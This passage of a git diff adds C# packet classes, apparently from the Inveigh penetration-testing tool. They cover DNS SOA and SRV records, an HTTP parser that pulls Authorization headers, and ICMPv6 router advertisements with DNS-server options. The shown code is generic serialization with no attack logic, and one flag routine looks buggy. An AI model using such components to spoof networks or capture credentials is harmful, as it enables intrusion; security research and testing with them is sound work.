+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSRecordSOA
+ {
+ // https://tools.ietf.org/html/rfc1035
+ public byte[] MName { get; set; }
+ public byte[] RName { get; set; }
+ public uint Serial { get; set; }
+ public uint Refresh { get; set; }
+ public uint Retry { get; set; }
+ public uint Expire { get; set; }
+ public uint Minium { get; set; }
+
+ public DNSRecordSOA()
+ {
+ this.Refresh = 900;
+ this.Retry = 600;
+ this.Expire = 86400;
+ this.Minium = 3600;
+ }
+
+ public DNSRecordSOA(uint serial)
+ {
+ this.Serial = serial;
+ this.Refresh = 900;
+ this.Retry = 600;
+ this.Expire = 86400;
+ this.Minium = 3600;
+ }
+
+ public byte[] GetBytes()
+ {
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.MName);
+ packetWriter.Write(this.RName);
+ packetWriter.BigEndianWrite(this.Serial);
+ packetWriter.BigEndianWrite(this.Refresh);
+ packetWriter.BigEndianWrite(this.Retry);
+ packetWriter.BigEndianWrite(this.Expire);
+ packetWriter.BigEndianWrite(this.Minium);
+ return memoryStream.ToArray();
+ }
+ }
+
+ public byte[] GetBytes(string host, ushort index)
+ {
+ index |= (1 << 15);
+ index |= (1 << 14);
+ byte[] indexData = BitConverter.GetBytes(index);
+ Array.Reverse(indexData);
+
+ byte[] hostData = Utilities.GetDNSNameBytes(host, false);
+ byte[] hostCompressed = new byte[hostData[0] + 3];
+ Buffer.BlockCopy(hostData, 0, hostCompressed, 0, hostData[0] + 1);
+ Buffer.BlockCopy(indexData, 0, hostCompressed, hostCompressed.Length - 2, 2);
+ byte[] authoritytData = Utilities.GetDNSNameBytes("hostmaster", false);
+ byte[] authorityCompressed = new byte[authoritytData[0] + 3];
+ Buffer.BlockCopy(authoritytData, 0, authorityCompressed, 0, authoritytData[0] + 1);
+ Buffer.BlockCopy(indexData, 0, authorityCompressed, authorityCompressed.Length - 2, 2);
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(hostCompressed);
+ packetWriter.Write(authorityCompressed);
+ packetWriter.BigEndianWrite(this.Serial);
+ packetWriter.BigEndianWrite(this.Refresh);
+ packetWriter.BigEndianWrite(this.Retry);
+ packetWriter.BigEndianWrite(this.Expire);
+ packetWriter.BigEndianWrite(this.Minium);
+ return memoryStream.ToArray();
+ }
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs
new file mode 100644
index 0000000..391b671
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs
@@ -0,0 +1,42 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSRecordSRV : DNSResource
+ {
+ // https://datatracker.ietf.org/doc/html/rfc2782
+ public byte[] Service { get; set; }
+ public byte[] Proto { get; set; }
+ public ushort Priority { get; set; }
+ public ushort Weight { get; set; }
+ public ushort Port { get; set; }
+ public byte[] Target { get; set; }
+
+ public DNSRecordSRV()
+ {
+ this.Priority = 0;
+ this.Weight = 100;
+ }
+
+ public byte[] GetBytes(string target, ushort port)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.Priority);
+ packetWriter.BigEndianWrite(this.Weight);
+ packetWriter.BigEndianWrite(port);
+ packetWriter.Write(Utilities.GetDNSNameBytes(target, true));
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs b/Inveigh/Protocols/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs
new file mode 100644
index 0000000..34c70cb
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs
@@ -0,0 +1,49 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.GSSAPI
+{
+ class GSSAPIInitSecContext
+ {
+
+ /*
+ https://tools.ietf.org/html/rfc4178#appendix-A
+ */
+ public byte[] OID { get; set; }
+
+ public GSSAPIInitSecContext()
+ {
+ this.OID = new byte[8] { 0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02 } ;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPRequest.cs
new file mode 100644
index 0000000..7423081
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPRequest.cs
@@ -0,0 +1,159 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.HTTP
+{
+ class HTTPRequest
+ {
+ public string Method { get; set; }
+ public string URI { get; set; }
+ public string Version { get; set; }
+ public string Host { get; set; }
+ public string Connection { get; set; }
+ public string UserAgent { get; set; }
+ public string Accept { get; set; }
+ public string AcceptEncoding { get; set; }
+ public string AcceptLanguage { get; set; }
+ public string Authorization { get; set; }
+ public string ProxyAuthorization { get; set; }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ int index = Array.IndexOf<byte>(data, 0x20, 0);
+
+ if (index > -1)
+ {
+ this.Method = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ memoryStream.Position++;
+ index = Array.IndexOf<byte>(data, 0x20, (int)memoryStream.Position);
+
+ if (index > -1)
+ {
+ index -= (int)memoryStream.Position;
+ this.URI = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ memoryStream.Position++;
+ index = Array.IndexOf<byte>(data, 0x0d, (int)memoryStream.Position);
+
+ if (index > -1)
+ {
+ index -= (int)memoryStream.Position;
+ this.Version = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ memoryStream.Position += 2;
+ }
+
+ }
+
+ }
+
+ while (index > -1)
+ {
+ index = Array.IndexOf<byte>(data, 0x20, (int)memoryStream.Position);
+
+ if (index > -1)
+ {
+ index -= (int)memoryStream.Position;
+ string field = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ memoryStream.Position++;
+ index = Array.IndexOf<byte>(data, 0x0d, (int)memoryStream.Position);
+ index -= (int)memoryStream.Position;
+
+ if (index > -1)
+ {
+ string value = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ GetField(field, value);
+ }
+
+ memoryStream.Position += 2;
+ }
+
+ }
+
+ }
+
+ }
+
+ public void GetField(string field, string value)
+ {
+
+ switch (field.ToUpper())
+ {
+
+ case "HOST:":
+ this.Host = value;
+ break;
+
+ case "CONNECTION:":
+ this.Connection = value;
+ break;
+
+ case "USER-AGENT:":
+ this.UserAgent = value;
+ break;
+
+ case "ACCEPT:":
+ this.Accept = value;
+ break;
+
+ case "ACCEPT-ENCODING:":
+ this.AcceptEncoding = value;
+ break;
+
+ case "ACCEPT-LANGUAGE:":
+ this.AcceptLanguage = value;
+ break;
+
+ case "AUTHORIZATION:":
+ this.Authorization = value;
+ break;
+
+ case "PROXY-AUTHORIZATION:":
+ this.ProxyAuthorization = value;
+ break;
+
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPResponse.cs
new file mode 100644
index 0000000..4ac632d
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPResponse.cs
@@ -0,0 +1,166 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.HTTP
+{
+ class HTTPResponse
+ {
+ public string Version { get; set; }
+ public string StatusCode { get; set; }
+ public string ReasonPhrase { get; set; }
+ public string Server { get; set; }
+ public string Date { get; set; }
+ public string ContentType { get; set; }
+ public string ContentLength { get; set; }
+ public string Connection { get; set; }
+ public string CacheControl { get; set; }
+ public string Allow { get; set; }
+ public string Public { get; set; }
+ public string DAV { get; set; }
+ public string Author { get; set; }
+ public string ProxyAuthenticate { get; set; }
+ public string WWWAuthenticate { get; set; }
+ public byte[] Message { get; set; }
+
+ public byte[] GetBytes()
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Message))
+ {
+ this.ContentLength = Convert.ToString(this.Message.Length);
+ }
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.StringWrite(this.Version);
+ packetWriter.Write(new byte[1] { 0x20 });
+ packetWriter.StringWrite(this.StatusCode);
+ packetWriter.Write(new byte[1] { 0x20 });
+ packetWriter.StringWrite(this.ReasonPhrase);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+
+ if (!String.IsNullOrEmpty(this.Connection))
+ {
+ packetWriter.StringWrite("Connection: ");
+ packetWriter.StringWrite(this.Connection);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Allow))
+ {
+ packetWriter.StringWrite("Allow: ");
+ packetWriter.StringWrite(this.Allow);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Public))
+ {
+ packetWriter.StringWrite("Public: ");
+ packetWriter.StringWrite(this.Public);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.DAV))
+ {
+ packetWriter.StringWrite("DAV: ");
+ packetWriter.StringWrite(this.DAV);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Author))
+ {
+ packetWriter.StringWrite("MS-Author-via: ");
+ packetWriter.StringWrite(this.Author);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Server))
+ {
+ packetWriter.StringWrite("Server: ");
+ packetWriter.StringWrite(this.Server);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Date))
+ {
+ packetWriter.StringWrite("Date: ");
+ packetWriter.StringWrite(this.Date);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ packetWriter.StringWrite("Content-Length: ");
+ packetWriter.StringWrite(this.ContentLength);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+
+ if (!String.IsNullOrEmpty(this.ProxyAuthenticate))
+ {
+ packetWriter.StringWrite("Proxy-Authenticate: ");
+ packetWriter.StringWrite(this.ProxyAuthenticate);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.WWWAuthenticate))
+ {
+ packetWriter.StringWrite("WWW-Authenticate: ");
+ packetWriter.StringWrite(this.WWWAuthenticate);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.ContentType))
+ {
+ packetWriter.StringWrite("Content-Type: ");
+ packetWriter.StringWrite(this.ContentType);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Message))
+ {
+ packetWriter.Write(this.Message);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs b/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs
new file mode 100644
index 0000000..fec13c4
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs
@@ -0,0 +1,107 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.ICMPv6
+{
+ class ICMPv6RouterAdvertisement
+ {
+ // https://datatracker.ietf.org/doc/html/rfc4861#section-4.2
+ public byte Type { get; set; }
+ public byte Code { get; set; }
+ public ushort Checksum { get; set; }
+ public byte CurHopLimit { get; set; }
+ public bool M{ get; set; } // 1 bit
+ public bool O { get; set; } // 1 bit
+ public string Reserved { get; set; } // 6 bits
+ public ushort RouterLifeTime { get; set; }
+ public uint ReachableTime { get; set; }
+ public uint RetransTimer { get; set; }
+ public byte[] Options { get; set; }
+
+ // custom fields
+ public byte Flags { get; set; }
+
+ public ICMPv6RouterAdvertisement()
+ {
+ this.Type = 134;
+ this.Code = 0;
+ this.Checksum = 0;
+ this.Flags = 0;
+ this.RouterLifeTime = 0;
+ this.ReachableTime = 0;
+ this.RetransTimer = 0;
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Code);
+ packetWriter.Write(this.Checksum);
+ packetWriter.Write(this.CurHopLimit);
+ packetWriter.Write(this.Flags);
+ packetWriter.BigEndianWrite(this.RouterLifeTime);
+ packetWriter.BigEndianWrite(this.ReachableTime);
+ packetWriter.BigEndianWrite(this.RetransTimer);
+
+ if (!Utilities.ArrayIsNullOrEmpty(Options))
+ {
+ packetWriter.Write(this.Options);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ protected virtual void WriteFlags()
+ {
+ string flags = this.M ? "1" : "0";
+ flags += this.O ? "1" : "0";
+ flags += this.Reserved;
+
+ for (int i = 0; i < 2; ++i)
+ {
+ this.Flags = Convert.ToByte(flags.Substring(8 * i, 8), 1); ;
+ }
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs b/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs
new file mode 100644
index 0000000..7eef831
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs
@@ -0,0 +1,43 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.ICMPv6
+{
+ class ICMPv6DNSSearchList
+ {
+ // https://datatracker.ietf.org/doc/html/rfc8106
+ public byte Type { get; set; }
+ public byte Length { get; set; }
+ public ushort Reserved { get; set; }
+ public uint Lifetime { get; set; }
+ public byte[] DomainNames { get; set; }
+
+ public ICMPv6DNSSearchList()
+ {
+ this.Type = 31;
+ this.Length = 0;
+ this.Reserved = 0;
+ this.Lifetime = 0;
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Length);
+ packetWriter.Write(this.Reserved);
+ packetWriter.BigEndianWrite(this.Lifetime);
+ packetWriter.Write(this.DomainNames);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs b/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs
new file mode 100644
index 0000000..2fa9f31
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs
@@ -0,0 +1,73 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.ICMPv6
+{
+ class ICMPv6RecursiveDNS
+ {
+ // https://datatracker.ietf.org/doc/html/rfc5006#section-5.1
+ public byte Type { get; set; }
+ public byte Length { get; set; }
+ public ushort Reserved { get; set; }
+ public uint Lifetime { get; set; }
+ public byte[] RecursiveDNSServers { get; set; }
+
+ public ICMPv6RecursiveDNS()
+ {
+ this.Type = 25;
+ this.Length = 0;
+ this.Reserved = 0;
+ this.Lifetime = 0;
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Length);
+ packetWriter.Write(this.Reserved);
+ packetWriter.BigEndianWrite(this.Lifetime);
+ packetWriter.Write(this.RecursiveDNSServers);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/IP/IPHeader.cs b/Inveigh/Protocols/Quiddity/Protocols/IP/IPHeader.cs
new file mode 100644
index 0000000..80194ab
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/IP/IPHeader.cs
@@ -0,0 +1,81 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using System.Net;
+
+namespace Quiddity.IP
+{
+ class IPHeader
+ {
+ // https://datatracker.ietf.org/doc/html/rfc791#section-3.1
+ public int Version { get; set; }
+ public int IHL { get; set; }
+ public byte TypeOfService { get; set; }
+ public ushort TotalLength { get; set; }
+ public ushort Identification { get; set; }
+ public string Flags { get; set; }
+ public int FragmentOffset { get; set; }
+ public byte TimeToLive { get; set; }
+ public byte Protocol { get; set; }
+ public ushort HeaderChecksum { get; set; }
+ public IPAddress SourceAddress { get; set; }
+ public IPAddress DestinationAddress { get; set; }
+ public byte[] Options { get; set; }
+ public byte[] Padding { get; set; }
+
+ public void ReadBytes(byte[] data, int position)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = position;
+ string versionIHL = packetReader.ReadBinary(1);
+ this.Version = Convert.ToInt32(versionIHL.Substring(0, 4), 2);
+ this.IHL = Convert.ToInt32(versionIHL.Substring(4, 4), 2) * 4;
+ this.TypeOfService = packetReader.ReadByte();
+ this.TotalLength = packetReader.BigEndianReadUInt16();
+ this.Identification = packetReader.BigEndianReadUInt16();
+ string flagsFragmentOffset = packetReader.ReadBinary(2);
+ this.Flags = flagsFragmentOffset.Substring(0, 3);
+ this.FragmentOffset = Convert.ToInt32(flagsFragmentOffset.Substring(3, 13), 2);
+ this.TimeToLive = packetReader.ReadByte();
+ this.Protocol = packetReader.ReadByte();
+ this.HeaderChecksum = packetReader.BigEndianReadUInt16();
+ this.SourceAddress = new IPAddress(packetReader.ReadBytes(4));
+ this.DestinationAddress = new IPAddress(packetReader.ReadBytes(4));
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/LDAPMessage.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/LDAPMessage.cs
new file mode 100644
index 0000000..18445ba
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/LDAPMessage.cs
@@ -0,0 +1,182 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
